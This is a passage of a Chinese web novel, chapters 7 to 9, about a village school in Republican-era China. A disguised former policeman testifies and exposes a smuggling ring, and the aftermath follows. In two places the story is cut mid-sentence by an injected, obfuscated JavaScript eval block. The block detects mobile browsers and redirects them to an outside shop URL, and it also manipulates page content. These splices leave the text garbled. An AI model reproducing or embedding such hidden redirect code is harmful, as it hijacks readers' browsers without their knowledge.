“九月十六,后墙涂字‘关门大吉’。夜见黑影。” “九月十七,王督学到访,施压。码头现黑船,载关外人。” “九月十八,访秦先生故居,得遗物。知三年前旧案。” 写到这里,他停笔。窗外月光如水,洒在书案上。那些字迹在月光下,像一道道刻痕,刻在这个多事之秋。 他想起苏宛音说的“怕也得做”,想起程秋实讲的“山河还在”,想起水生憨厚的笑容,想起小莲怯怯的眼神。 还有大哥信里那句:“护学堂,启民智,察暗鬼,守乡土。” 这四件事,现在都落在他肩上了。 他吹熄灯,在黑暗里躺下。怀里那片陶片硌在胸口,像一枚冰冷的护身符。 窗外,更夫的梆子声传来,三更天了。 远处,青云河的水声潺潺,永不停歇。而河上的黑船,暗中的鬼影,都将在这流水声中,继续它们的勾当。 但张静轩知道,从今夜起,他不再只是被动地看着。 他要看清,要记住,要行动。 黑暗里,他握紧了拳。掌心那片陶片的棱角,硌在肉里,像一枚烙印,印在这个注定不平凡的秋天。 而秋天过后,是冬天。 冬天很冷,但种子,会在冻土下等待春天。 7. 第七章 证人 晨雾浓得化不开,像一锅煮糊的米汤,黏稠地糊在青石镇上空。张静轩推开院门时,檐下的灯笼还亮着,昏黄的光在雾气里晕开一团模糊的暖意。 福伯已经候在门外。老管家今日换了身深蓝棉褂,腰间那根短棍不见了,取而代之的是一根乌木手杖。见张静轩出来,他微微躬身:“小少爷,老爷已经先去镇公所了。陈老秀才、周大栓、李铁匠他们也都去了。” 张静轩点头,看向祠堂方向。雾气中,学堂的轮廓隐隐约约,像一座漂在雾海里的孤岛。“苏先生他们呢?” “程先生陪着苏先生,从学堂直接过去。”福伯顿了顿,“卢少爷请的记者,昨晚已经到了,住在镇东的客栈。老爷说,先不让露面,关键时刻再出来。” 两人穿过浓雾往镇公所走。街道寂静,脚步声在青石板路上发出沉闷的回响。偶尔有早起的店铺开门,木门轴“吱呀”一声,在雾气里传得很远。 镇公所门口已经聚了些人。张老太爷拄着拐杖站在最前头,身边是陈老秀才,两人正在低声说话。周大栓、李铁匠站在稍后些,还有几个张静轩认得的家长——卖豆腐的王婶,开杂货铺的刘掌柜,都是昨日在码头声援过的人。 见张静轩来了,张老太爷微微颔首,没说什么,但眼神里有嘱咐。 镇公所的门开了。赵全福走出来,看见门口这阵仗,愣了一下,随即皮笑肉不笑:“诸位来得真早。王督学还在用早饭,诸位稍候。” “我们是来旁听的。”张老太爷开口,声音不高,但字字清晰,“苏先生的资格复核,事关青石镇学堂的存续。我们作为学生家长,镇上的乡绅,有权在场。” 赵全福脸上的笑容僵了僵:“这个……王督学说了,复核是内部程序,不便公开……” “有什么不便的?”陈老秀才拄着拐杖上前一步,“苏先生是清白教书人,复核就该光明正大。若是关起门来,难免有人说闲话。” 这话说得委婉,但意思明白。赵全福噎住了,张了张嘴,没说出话来。这时,门里传来王秉章的声音:“让他们进来。” 镇公所的议事堂比祠堂宽敞,但光线昏暗。长条木桌摆在正中,王秉章坐在主位,两个随从站在身后。苏宛音和程秋实已经坐在左侧,见张静轩他们进来,微微点头。 王秉章扫了一眼进来的人,眼神冷了几分:“张公,陈老,诸位这是……” “旁听。”张老太爷在右侧首位坐下,“王督学不会不许吧?” 王秉章沉默片刻,扯了扯嘴角:“既然来了,就坐吧。不过我有言在先——复核是公事,诸位只能听,不能插话。” 众人落座。张静轩坐在父亲身后,目光扫过全场。王秉章身后那两个随从,腰板挺得笔直,手始终垂在身侧——那是随时可以拔枪的姿势。赵全福站在门边,眼神游移,时不时瞟向门外。 空气很沉,压得人喘不过气。 王秉章清了清嗓子,翻开面前的一叠文件:“苏宛音,女,二十三岁,省立师范学堂毕业。父苏文渊,光绪二十四年进士,曾参与戊戌变法,后革职回乡,宣统二年病故。”他抬眼看向苏宛音,“这些信息,是否属实?” 苏宛音脊背挺直:“属实。” “你父亲是维新党人,这一点,你在求职时可曾说明?” “求职时问的是我的学历、能力,不是家世。”苏宛音的声音平静,“况且,我父亲是否维新党人,与我的教学能力有何关系?” 王秉章冷笑:“关系大了。父母之志,子女承之。你父亲当年鼓吹变法,扰乱朝纲,你如今在学堂里教新学,难免不让人联想。” 这话说得诛心。张静轩看见,苏宛音的手在桌下握紧了,但脸上依然平静:“王督学,如今是民国了。先父当年所为,是为救国。若这也算罪过,那今日倡导新学、启智救国的,是否都有罪?” “放肆!”王秉章一拍桌子,“苏宛音,注意你的言辞!” 程秋实站起身:“王督学,苏先生说的是事实。如今提倡新学,是政府明令。苏先生教学认真,学生爱戴,这些才该是复核的重点。” 王秉章盯着他看了半晌,忽然笑了:“好,那我们就说教学。”他从文件里抽出一张纸,“这是学生的课堂笔记——上面清楚记录,你在讲‘人人平等’时,举例说‘官府老爷和平民百姓也该平等’。有没有这回事?” 苏宛音看了一眼那张纸,摇头:“我没说过这样的话。我说的是‘人在天赋上是平等的’,这是卢梭的观点,是教育学的基本原理。” “卢梭?”王秉章挑眉,“一个洋人的话,你也拿来教学生?这不是数典忘祖是什么?” “取其精华,去其糟粕。这是蔡元培先生说的。”苏宛音迎着他的目光,“王督学若觉得不妥,可以指出哪里不妥。但断章取义,捏造诬陷,不是为人师表该有的作为。” 议事堂里静了一瞬。王秉章的脸色铁青,他身后的随从往前踏了半步。 张老太爷忽然开口:“王督学,老朽有句话,不知当讲不当讲。” 王秉章看向他:“张公请说。” “学堂开课这些天,老朽虽然没去听课,但听孙子回家说起。”张老太爷的声音很缓,但每个字都落在实处,“他说,苏先生教算学,教他们记账,说将来不被骗。程先生教国文,教他们写信,说将来能沟通。这些,老朽觉得都是好的。” 他顿了顿,目光扫过在场的人:“青石镇不大,但孩子不少。过去没学堂,孩子们要么下地,要么做工,一辈子睁眼瞎。如今有了学堂,孩子们能识字,能算数,将来不论做什么,都多个本事。这是功德,不是罪过。” 陈老秀才接话:“张公说得是。老朽虽然守旧,但也知道读书明理是正途。苏先生、程先生教学严谨,孩子们受益,这是大家有目共睹的。” 周大栓站了起来,这个黝黑的汉子有些局促,但声音很坚定:“王督学,我是个粗人,不会说话。但我知道,我家水生上学这些天,回家知道孝顺爹娘,知道疼妹妹。这学堂教的是做人的道理,不是歪理。” 李铁匠也站起来:“铁蛋以前淘得没边,现在知道帮家里干活,知道让着妹妹。王督学,这样的先生,我们信得过。” 一个接一个,家长们纷纷起身。卖豆腐的王婶说小女儿会算账了,开杂货铺的刘掌柜说儿子会写货单了。声音不高,但汇聚在一起,像一股暖流,冲散了议事堂里的寒气。 王秉章的脸色越来越难看。他忽然提高声音:“安静!这是在复核,不是开表彰会!” 众人安静下来,但眼神里的坚定,像一堵墙。 王秉章深吸一口气,从文件里又抽出一张纸:“好,就算教学没问题。但苏宛音,有人举报你私藏禁书,在课堂上传播危险思想。”他将纸拍在桌上,“这是举报信,上面有你藏书的目录——《新青年》《呐喊》《彷徨》……这些书,你作何解释?” 苏宛音的脸色白了白。那些书,她确实有,是从省城带来的,一直小心收着。 “那些书……是我的私人藏书。”她艰难地说,“我没有在课堂上讲。” “私藏也是罪!”王秉章站起身,“这些书,宣扬什么‘打倒孔家店’,什么‘全盘西化’,都是祸国殃民的东西!你一个教书先生,藏这些书,是何居心?” 议事堂里的气氛骤然紧张。那两个随从的手,已经按在了腰间。 就在这时,门外传来一个清朗的声音:“王督学此言差矣。” 所有人转头看去。一个穿灰色长衫、戴圆框眼镜的年轻人走进来,手里拿着笔记本和钢笔。他身后跟着卢明远。 “你是?”王秉章眯起眼。 “《新报》记者,林觉民。”年轻人微微躬身,“受报社委派,来青石镇采访新式学堂的办学情况。刚才在门外,听了片刻。有些话,不吐不快。” 王秉章的脸色变了:“记者?谁让你来的?这是内部复核,不接受采访!” “既然是光明正大的复核,为何怕采访?”林觉民走到桌前,“王督学刚才说《新青年》《呐喊》是禁书,可有政府明文?” “这……” “据我所知,教育部并无此类禁书目录。”林觉民翻开笔记本,“倒是蔡元培先生执掌北大时,提倡‘思想自由,兼容并包’。□□先生的《新青年》,胡适先生的《尝试集》,都是如今学界推崇的。” 王秉章咬牙:“那是学界!这里是青石镇,是乡下!” “乡下就该愚昧?”林觉民推了推眼镜,“王督学,都民国了,还抱着‘民可使由之,不可使知之’那套,是否太过陈腐?” 这话说得犀利。王秉章的脸涨成了猪肝色,他指着林觉民:“你……你一个记者,也敢干涉地方教育?” “我不是干涉,是记录。”林觉民转向苏宛音,“苏先生,您能说说,您为什么藏那些书吗?” 苏宛音看着他,眼里有感激,也有坚定:“那些书,是我在师范学堂时读的。它们让我知道,中华民国要强,必先启民智;民智要启,必先破陈规。我藏它们,是提醒自己——教书不是为了饭碗,是为了改变。” “改变什么?” “改变愚昧,改变麻木,改变一代人认命的心态。”苏宛音的声音在颤抖,但字字清晰,“我知道这很难,但我愿意做。就像我父亲当年,明知不可为而为之。” 议事堂里静得能听见呼吸声。窗外的雾气似乎淡了些,一缕天光透进来,照在苏宛音脸上,那张苍白的脸,此刻有种圣洁的光。 林觉民低头疾书。笔尖在纸上沙沙作响,像春蚕食叶。 王秉章忽然笑了,那笑声干涩:“好,好一个‘明知不可为而为之’。”他重新坐下,“苏宛音,你承认私藏禁书,承认传播危险思想。这教师资格复核,我看没必要继续了。” “王督学!”程秋实急道,“苏先生已经说了,那些书是私人藏书,没有在课堂上讲!” “私藏也是罪!”王秉章拍案而起,“来人,把苏宛音带走!这些禁书,全部收缴!” 两个随从上前就要抓人。周大栓、李铁匠他们霍地站起来,拦在前面。 “干什么?要造反吗?”王秉章厉声喝道。 眼看冲突一触即发,门外忽然传来一个苍老而沙哑的声音:“等等。”赵全福看见他,脸色大变:“你……你来干什么?出去!” 所有人转头。老哑头——秦怀安,佝偻着背,慢慢走进来。他今日换了身干净的粗布衣裳,头发梳得整齐,虽然还是那副乞丐模样,但眼神清亮,脊背挺直了些。 秦怀安没有看赵全福。他佝偻的背脊发出轻微的、像是老旧门轴转动的声响,一寸,一寸,绷直。那件肮脏破旧的夹袄仿佛被一股无形的力量撑开,一个蜷缩了太久的灵魂,正在挣脱外壳。 他抬起头。那双三年来看尽世态炎凉、刻意浑浊如泥潭的眼睛,此刻清澈见底,锐利如淬火的钢针,缓缓扫过王秉章,扫过赵全福,最终落在张静轩身上,停留了一瞬——那一眼里,有审视,有决绝,还有一丝如释重负的微光。 议事堂里静得可怕,只有众人压抑的呼吸声。 他用那双布满老茧和伤痕的手,摸索到夹袄内衬一处缝线,用力一扯——“刺啦”。粗布撕裂的声音在寂静中格外刺耳。一个用油布紧紧裹着的小包掉出来,落在积满灰尘的地面上。 他没有立刻去捡,而是转向王秉章,声音依旧沙哑,却不再破碎,每一个字都像是从胸腔深处碾磨出来,带着铁锈和血的味道: “王督学,你要证据?” 他弯腰,拾起油布包,动作缓慢而郑重,像举行某种仪式。油布层层揭开,最先露出的,是一枚铜质徽章,绿锈斑驳,但中央的警徽图案仍依稀可辨。他将徽章轻轻放在王秉章面前的桌面上,发出一声沉闷的轻响。 “秦怀安。青云县警务局,巡长。”他说。七个字,砸在地上,如同七枚生锈的钉子。 王秉章瞳孔骤缩,下意识地往后仰了仰。 秦怀安的手指移向油布包里的第二样东西——几页泛黄、脆弱的纸,上面密密麻麻写满了字迹和数字。“这是赵全福、陈继业团伙三年来的货单、往来账目、码头交接记录。时间,地点,人名,斤两,清清楚楚。”他的声音不高,却让赵全福瞬间面如死灰,“我兄秦怀远,就是查到这些东西,才被他们放火烧死在关帝庙后头的屋里。” “秦怀远”三个字像一道闪电,劈开了堂内凝固的空气。陈老秀才手中的拐杖“咚”地掉在地上。张老太爷闭上了眼睛,下颌的线条绷得死紧。周大栓和李铁匠张大了嘴。 秦怀安的目光像冰冷的刀子,剐过赵全福:“我兄殉职那晚,我就在镇外。他预感不测,提前把这包东西交给我,说‘若我出事,你立刻走,找个地方藏起来,等……等一个能见光的日子。’” 他顿了顿,喉结剧烈地滚动了一下,那道暗红的旧疤在脖颈上显得愈发刺目。 “我等了两年。装哑,扮废,像条野狗一样在镇上溜达,听你们怎么编派我兄是‘自己不小心’,看你们怎么继续祸害这块地方。”他的声音开始颤抖,不是伪装,是积压了太久、终于决堤的悲愤,“我等到了张家办学堂,等到了有人不怕你们划在梁上的刀痕,不怕你们泼在墙上的粪,不怕你们往先生身上泼的脏水!” 他猛地指向苏宛音,又指向张静轩,最后指向周大栓等一众街坊:“我等到了这些人!他们让我信,这青石镇,还有人心是亮的,血还是热的!这,就是我能等到的‘见光的日子’!” 话音落下,议事堂里落针可闻。只有秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140649|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀安粗重的喘息声,和他手中那些泛黄纸页被捏出的轻微脆响。 赵全福腿一软,几乎瘫倒。王秉章脸色灰败,嘴唇翕动,却一个字也说不出来。 就在这时,仿佛是为了给这震撼的一幕盖章定论,门外传来一个清朗而威严的声音: “说得好,我可以证明。”又一个声音从门外传来。所有人再次转头,看见一个穿中山装的中年人走进来,身后跟着两个穿制服的警察。 中年人向王秉章微微颔首:“王督学,我是省警务厅特派员,姓沈。奉命调查青石镇走私案,已有数年。”他看向秦怀安,“这位秦怀安先生,是我们的线人。三年前他兄长秦怀远殉职,他隐姓埋名,继续追查,终于拿到关键证据。” 王秉章腿一软,瘫坐在椅子上。 沈特派员走到桌前,拿起那些文件:“赵全福,陈继业,与关外势力勾结,走私军火烟土,证据确凿。现已查明,陈继业昨晚试图转移一批货物,在码头被我们截获。”他顿了顿,“另外,王督学,您与赵全福的往来信件,我们也拿到了。您收受贿赂,为他提供庇护,这事……也得有个交代。” 王秉章面如死灰,一句话也说不出来。 赵全福被警察铐上,面如土色。经过秦怀安身边时,他忽然嘶吼:“秦怀安!你害我!我做鬼也不会放过你!” 秦怀安看着他,眼神平静:“我兄长的命,青石镇被毒害的孩子,那些因烟土家破人亡的人——他们的债,你该还了。” 赵全福被带走了。沈特派员转向苏宛音:“苏先生,您受委屈了。您的教师资格复核,我们会重新审定。这些所谓的‘禁书’,在合法范围内,可以阅读。” 苏宛音深深鞠躬:“谢谢。” 沈特派员又看向张老太爷:“张公,感谢您支持办学。青石镇的新学堂,是好事,我们会继续支持。” 张老太爷还礼:“应该的。” 议事堂里的气氛,从紧绷到松弛,像一根过度拉伸的皮筋,忽然松开。家长们长舒一口气,脸上露出笑容。周大栓抹了把汗,李铁匠咧开嘴笑。 林觉民还在低头疾书,笔尖飞快。 张静轩看着这一切,心里那块大石,终于落了地。他看向秦怀安,老人佝偻着背站在那里,脸上有疲惫,也有释然。三年的隐忍,终于换来这一刻。 秦怀安也看向他,微微点头,然后转身,慢慢走出议事堂。阳光终于冲破雾气,照在他佝偻的背上,那背影在光里,像一尊风化的碑。 复核就这样结束了。王秉章被沈特派员带走“协助调查”,赵全福入狱,陈继业在逃,但全省通缉。走私线被斩断,青石镇的暗流,终于见了光。 离开镇公所时,已是晌午。阳光很好,驱散了最后的雾气。青石板路干干净净,倒映着蓝天白云。 苏宛音走在张静轩身边,轻声说:“静轩,谢谢你。” “谢我什么?” “谢谢你一直坚持。”苏宛音望着前方的路,“如果没有你们,我今天……可能真的被带走了。” “不会的。”张静轩说,“正义也许会迟到,但不会缺席。” 这话是他从大哥笔记里看来的。此刻说出来,忽然觉得,大哥一直在看着他,看着这一切。 回到学堂,孩子们已经等急了。水生冲上来:“静轩哥,怎么样了?苏先生没事吧?” “没事了。”张静轩摸摸他的头,“从今往后,没人能欺负咱们学堂了。” 孩子们欢呼起来。那欢呼声穿过祠堂的窗户,飘在秋日的阳光里,清亮亮的。 下午的课照常上。苏宛音教算学,程秋实教国文,一切都回到正轨。但张静轩知道,有些东西不一样了——孩子们的眼神更亮,坐得更直,读书的声音更响。 那是希望的声音。 放学后,张静轩没有立刻回家。他去了关帝庙的废墟。香炉还在那里,半埋在土里。他蹲下身,用手拂去炉身的尘土。 “三年了,”他轻声说,“秦先生,您可以安息了。” 风吹过废墟,野草沙沙作响,像在回应。 从废墟出来,他遇见卢明远和林觉民。两人正在河边散步,见了他,招手。 “静轩弟,”卢明远说,“林记者明天回省城,他的报道后天就见报。青石镇学堂的事,会传遍全省。” 林觉民推了推眼镜:“我会如实写——写学堂的艰难,写你们的坚持,写暗中的阴谋,也写最终的胜利。”他顿了顿,“这是个好故事。中华民国需要这样的故事。” 张静轩点头:“谢谢林记者。” “该谢的是你们。”林觉民看着远处的青云河,“在这公偏僻的小镇,还有人在坚持新学,启民智,抗黑暗——这让我相信,中华民国有希望。” 三人并肩站着,看夕阳西下。河水被染成金色,缓缓东流。那些黑船,那些暗影,都随着水流远去了。 但张静轩知道,黑暗不会永远消失。只要光明在,黑暗就总想反扑。而他们要做的,就是让光明更亮,照得更远。 回到家,书房还亮着灯。张老太爷正在看一封信,见儿子进来,放下信纸。 “静轩,你大哥终于有消息了。” 张静轩心头一震:“大哥?他……” “还活着。”张老太爷的声音在抖,“在北边,打鬼子。这信是一个月前写的,刚托人捎到。” 张静轩接过信。是大哥的字迹,比三年前更苍劲: “父亲大人膝下:儿在北地,一切安好。近日连战皆捷,鬼子胆寒。闻青石镇办学堂,心甚慰。弟静轩年已十五,当可担事。若遇困难,告之:挺直脊梁,守住本心。家国之事,皆在人为。兄静远顿首。” 信很短,但每个字都像火,烫在张静轩心上。 “爹,”他抬起头,眼眶发热,“大哥他……知道我们在做什么。” “他知道。”张老太爷也红了眼眶,“他一直都知道。” 父子俩在灯下对坐着,很久没说话。窗外的夜色浓了,星星一颗颗亮起来。 “静轩,”张老太爷终于开口,“学堂的事,暂时告一段落。但你的路,还长。” “我知道。” “接下来想做什么?” 张静轩想了想:“继续上学,帮苏先生他们办学。还有……等大哥回来。” 张老太爷点点头,看向窗外。夜色如墨,但星星很亮。每一颗星,都是一盏灯,照亮黑暗,也照亮前路。 从今夜起,张静轩肩上的担子更重了——要护学堂,要等大哥,要守这片乡土。 掌心那片陶片的棱角,硌在肉里,像一枚烙印,印在这个不平凡的秋天。 而秋天过后,是冬天。 冬天很冷,但灯亮着,星亮着,人走着,就能取暖。 8. 第八章 余波与重建 秋深了。几场霜过后,青石镇的早晨开始结薄冰。老槐树的叶子落了大半,剩下几片枯黄的在枝头颤着。这天清晨,冬雨毫无征兆地来了——不是渐渐沥沥,而是忽然间就密了,淅淅沥沥下了三天,把小镇裹进一片湿冷的灰蒙蒙里。 福伯站在门外,今日没带手杖,只背着手,望着学堂方向,脸上有难得的舒展:“小少爷,祠堂那边,一早就来了好些人。” “谁?” “周大栓、李铁匠他们,还有不少街坊。”福伯说,“说是要帮着打扫学堂,修补门窗——昨儿镇公所那一闹,祠堂的门板被踩坏了一块。” 张静轩心头一暖。这就是青石镇的百姓,实在,记恩。 两人往学堂走。街上比往日热闹,早点铺子前围满了人,热气腾腾的包子、豆浆的香气混在空气里。见张静轩走过,不少人点头招呼: “小少爷早!” “学堂没事了吧?” “苏先生好着哩?” 张静轩一一回应。他能感觉到,镇上的气氛不一样了——不再是那种压抑的、窥探的沉默,而是一种敞亮的、舒坦的活泛。 路过镇公所时,门口贴了张新告示。围了不少人在看。张静轩挤过去,看见告示上写的是省警务厅的通告:赵全福、陈继业走私军火烟土案已破,主犯赵全福落网,从犯陈继业在逃,全省通缉。末尾盖着鲜红的公章。 人群中议论纷纷: “真没想到,赵全福是这种人!” “三年前秦先生的死,果然是他干的!” “听说那些烟土,祸害了好些人家……” “这下好了,青石镇清净了。” 张静轩听着,心里五味杂陈。真相大白是好事,但那些被祸害的人,那些因此破碎的家,却再也回不来了。 到学堂时,祠堂前果然聚了不少人。周大栓正扛着一块新刨好的木板,李铁匠拿着锤子钉子,几个街坊在清扫院子。孩子们也来了,水生拿着扫帚扫落叶,铁蛋在擦窗户,小莲端着一盆水,摇摇晃晃地走。 苏宛音和程秋实在堂内整理桌椅,见张静轩来,都放下手里的活。 “静轩,”苏宛音走过来,眼里有光,“你看,大家都来了。” 张静轩点头:“学堂是大家的学堂。” “不止。”程秋实推了推眼镜,“昨天林记者走前说,他的报道今天就见报。省城那边,会有更多人知道青石镇,知道咱们的学堂。” 正说着,门外传来马蹄声。一辆马车停在祠堂前,车帘掀开,陈老秀才拄着拐杖走下来。老人今日穿了件崭新的深蓝长衫,手里提着一个布包。 “陈老先生。”张静轩迎上去。 陈老秀才摆摆手,径直走进祠堂,在堂中站定,环视一周。街坊们都停下活,看着他。 “诸位,”陈老秀才清了清嗓子,“老朽今日来,有两件事。” 他从布包里取出一卷纸,展开,是一幅字。字迹苍劲,写的是“启智明德”四个大字。 “这幅字,是老朽昨夜写的。”陈老秀才说,“送给学堂。启民智,明德行——这是读书人的本分,也是学堂该做的事。” 苏宛音上前,郑重接过:“谢谢陈老先生。” “还有第二件。”陈老秀才从怀里掏出一本泛黄的书,“这是老朽年轻时读的《格致初阶》,光绪年间的刻本,如今不多见了。”他翻开书页,里面密密麻麻写满了批注,“当年老朽读这书,觉得是奇技淫巧。如今想想,是自己迂腐了。格物致知,方能救国。这书……送给学堂的先生们,或许有用。” 程秋实接过书,翻了几页,眼睛一亮:“这是珍本啊!陈老先生,这太贵重了……” “书就是给人读的。”陈老秀才摆摆手,“放在我那儿,也是落灰。给孩子们开开眼,值了。” 他说完,又看了看正在忙碌的街坊和孩子们,点点头,转身走了。背影在晨光里,显得有些佝偻,但脚步很稳。 张静轩看着老人走远,心里忽然明白了什么——陈老秀才的转变,不是因为被说服,而是因为看见了。看见了学堂的好,看见了孩子们的改变,也看见了那些黑暗下的真相。 有些改变,不是靠说,是靠做。 一上午,祠堂内外热火朝天。门板修好了,窗户擦亮了,院子扫干净了,连那棵老槐树下的石凳,都被擦得发亮。周大栓还在祠堂后墙那片斑驳处,刷了一层新石灰,白生生的,遮住了所有旧痕。 晌午时分,卢明远来了,手里拿着一份报纸。 “出来了!”他声音激动,“《新报》今天的头版!” 众人围上去。报纸头版的大标题赫然醒目:《小镇新学启民智,暗流三年终见光——青石镇办学记》。下面是林觉民的署名文章,详细写了学堂从创办到遇阻,从压制到反击的全过程。还配了一张照片——是昨天在镇公所,家长们起身声援的场面,虽然模糊,但那股气势,隔着纸都能感觉到。 “写得真好。”苏宛音看完,眼眶红了,“他……他都写出来了。” “不止这些。”卢明远翻到第二版,“还有专访,采访了周叔、李叔他们,还有孩子们的话。”他念了一段:“‘水生说:上学后,我会算账了,爹卖米再也不会算错钱。’‘小莲说:我要给爹写信,告诉他我识字了。’……” 街坊们听着,都笑了。那是自豪的笑,欣慰的笑。 “省城那边已经传开了。”卢明远说,“我爹来信,说教育厅为此开了会,要表彰青石镇学堂,还要在全省推广这种‘民办公助’的办学模式。” “王秉章呢?”程秋实问。 “撤职查办。”卢明远压低声音,“沈特派员查实,他收受赵全福的贿赂,不止一次。另外,他背后那个省议会的要员,也受到牵连,据说要引咎辞职。” 恶有恶报。张静轩听着,心里却没什么快意。他想起王秉章那张倨傲的脸,想起他被带走时灰败的神情。权力能让人狂妄,也能让人毁灭。关键在人心。 下午的课,气氛格外好。孩子们坐得笔直,读书声格外响亮。苏宛音教算学,今天教的是简单的记账法。她将昨天从陈老秀才那儿得的《格致初阶》放在讲台上,说:“这本书,是陈老先生捐给学堂的。等你们再大些,就能读。里面讲的是格物致知的道理——万事万物,都有它的道理。读书,就是去明白这些道理。” 水生举手:“先生,格物致知,能救国吗?” 苏宛音笑了:“能。一个人明白道理,就不会被骗。一群人明白道理,就不会被欺。一个国家的人明白道理,国家就会强。” 孩子们似懂非懂,但眼神都很亮。 下课后,张静轩没有立刻离开。他站在祠堂院子里,看着那棵老槐树。秋风拂过,叶子沙沙作响,几片黄叶悠悠飘落。 “静轩。” 他回头,看见秦怀安站在月洞门下。老人今日换了身干净的粗布衣裳,头发梳得整齐,脸上虽然还是布满皱纹,但精神好了许多。 “秦先生。”张静轩走过去,“您怎么来了?” “来看看。”秦怀安望着学堂,“我兄要是知道,他查案的地方,如今成了学堂,教孩子们读书明理……他会高兴的。” 两人并肩站着。夕阳西斜,将他们的影子拉得很长。 “您接下来……有什么打算?”张静轩问。 秦怀安沉默片刻:“我该走了。青石镇的事已了,我兄的仇已报。我……想去北边看看。” “北边?” “你大哥在的地方。”秦怀安转过头,看着张静轩,“我年轻时也当过兵,打过仗。如今这把老骨头,扛不动枪了,但还能做点别的——送送信,抬抬伤员,总有用处。” 张静轩心头一热:“秦先生……” “别劝我。”秦怀安摆摆手,“我这辈子,前半生浑浑噩噩,后半生只为报仇。如今仇报了,该为自己活几天了。”他顿了顿,“我想看看,你大哥他们拼命守护的,是什么样的山河。” 这话说得平淡,但张静轩听出了其中的分量。他看着秦怀安——这个佝偻了三年的老人,脊背似乎挺直了些,眼神里有种他从未见过的光。 “什么时候走?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140650|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “明天一早。”秦怀安从怀里掏出一个小布包,“这个,留给你。” 张静轩打开,里面是那把断裂的刀片——就是他在张家后院捡到的那片。刀片被磨得光亮,断口处用细麻绳缠着,做成了一把小刀。 “留着防身。”秦怀安说,“世道不太平,有备无患。” 张静轩握紧小刀。刀身冰凉,但麻绳缠裹处,有手掌摩挲出的温润。 “谢谢您。” 秦怀安点点头,转身要走,又停住:“还有件事。陈继业在逃,他手下还有几个漏网之鱼。你们……还是要小心。” “我明白。” 老人走了,佝偻的背影在夕阳里,像一株倔强的老松。 张静轩在院子里又站了很久,直到暮色四合。祠堂里亮起了灯,昏黄的光从窗户透出来,在地上投出一个个方正的格子。 他想起大哥的信,想起秦怀安的话,想起这三年来青石镇的暗流与光明。忽然觉得,自己站在这光与暗的交界处,像一枚棋子,又像一枚种子。 棋子要被推动,种子要破土。 而他,选择做种子。 回到家,书房还亮着灯。张老太爷正在看账本,但神色轻松。见儿子进来,放下笔。 “静轩,省城来了公文。”他将一份文件推过来,“教育厅的表彰令,还有……一笔拨款。” 张静轩接过文件。表彰令上列了张家、卢家、陈老秀才的义举,也表彰了苏宛音、程秋实的教学。拨款数额不小,足够学堂用三年。 “这是好事。” “是好事。”张老太爷点头,“但树大招风。学堂得了名,得了利,难免有人眼红。往后……还是要谨慎。” “我明白。”张静轩说,“爹,秦先生明天要走,去北边。” 张老太爷沉默片刻:“他是个义士。该去。”他从抽屉里取出一个钱袋,“这个,你明天给他。路上用得着。” 张静轩接过。钱袋沉甸甸的,里面是银元。 “另外,”张老太爷站起身,走到那幅《山河图》前,“你大哥的信,我回了。告诉他青石镇的事,告诉他你长大了。”他转过身,“静轩,你大哥说,等打跑了鬼子,他就回来。到时候……你们兄弟俩,要把学堂办得更好。” 张静轩重重点头。他想象着大哥回来的那天,想象着兄弟俩站在祠堂前,看孩子们读书的样子。那画面,光想想,心里就暖。 夜里,他躺在床上,辗转难眠。窗外月光很好,洒在地上,像铺了一层银霜。他起身,点亮油灯,摊开纸笔。 该给大哥写封信了。 “大哥:见字如面。青石镇事已了,学堂安好。弟近日经历甚多,始知家国二字之重。秦先生明日北上,或能见兄。望兄保重,待山河无恙,归家团圆。弟静轩谨上。” 写得很短,但字字用心。他将信折好,放在枕下。明天托秦怀安带去。 吹熄灯,重新躺下。黑暗中,他握着那把榆木弓,指尖摩挲着刻字:守静笃,观复明。 守静,是在荣耀中清醒。观复,是在变化中看清。 而现在,他还要做第四件事:前行,不停。 窗外传来打更声,三更天了。 远处青云河的水声潺潺,永不停歇。而河上的黑船已不见,暗影已散去,只有月光照着水面,波光粼粼,像一条银色的路,通向远方。 张静轩闭上眼睛。他知道,从今夜起,青石镇的故事,翻开了新的一页。 而他的故事,也才刚刚开始。 黑暗中,他握紧了弓。掌心那片陶片已收好,但那股冰凉坚硬的触感,已刻在记忆里,像一枚烙印,印在这个多事之秋。 而秋天过后,是冬天。 冬天很冷,但人心暖着,灯亮着,路走着,就能取暖。 就能等待春天。 春天会来的。 大哥会回来的。 学堂会更好的。 一定会的。 他这样想着,沉沉睡去。月光透过窗棂,照在他脸上,那张还带着稚气的脸,在睡梦中,有种安宁而坚定的光。 9. 第九章 冬雨来信 第一场冬雨来得很突然。 清晨还是晴好的天,晌午就阴了。铅灰色的云从青云山顶压下来,低低地悬在青石镇上空。风起了,带着河水的湿气和山间的寒,吹得祠堂外的老槐树枝条乱舞。 张静轩站在学堂门口,望着天色。学生们刚放学,三三两两地跑进雨里,有的顶着书包,有的缩着脖子。水生跑过来,把一片桐油布塞给他:“静轩哥,这个给你挡雨。” “你怎么办?” “俺跑得快!”水生咧嘴一笑,转身冲进雨幕,身影很快消失在巷口。 雨点开始落下来,砸在青石板上,溅起细密的水花。张静轩撑开桐油布,往家走。街上行人匆匆,店铺忙着收摊,早点铺的老板娘正把蒸笼往屋里搬,热气混着雨雾,白蒙蒙一片。 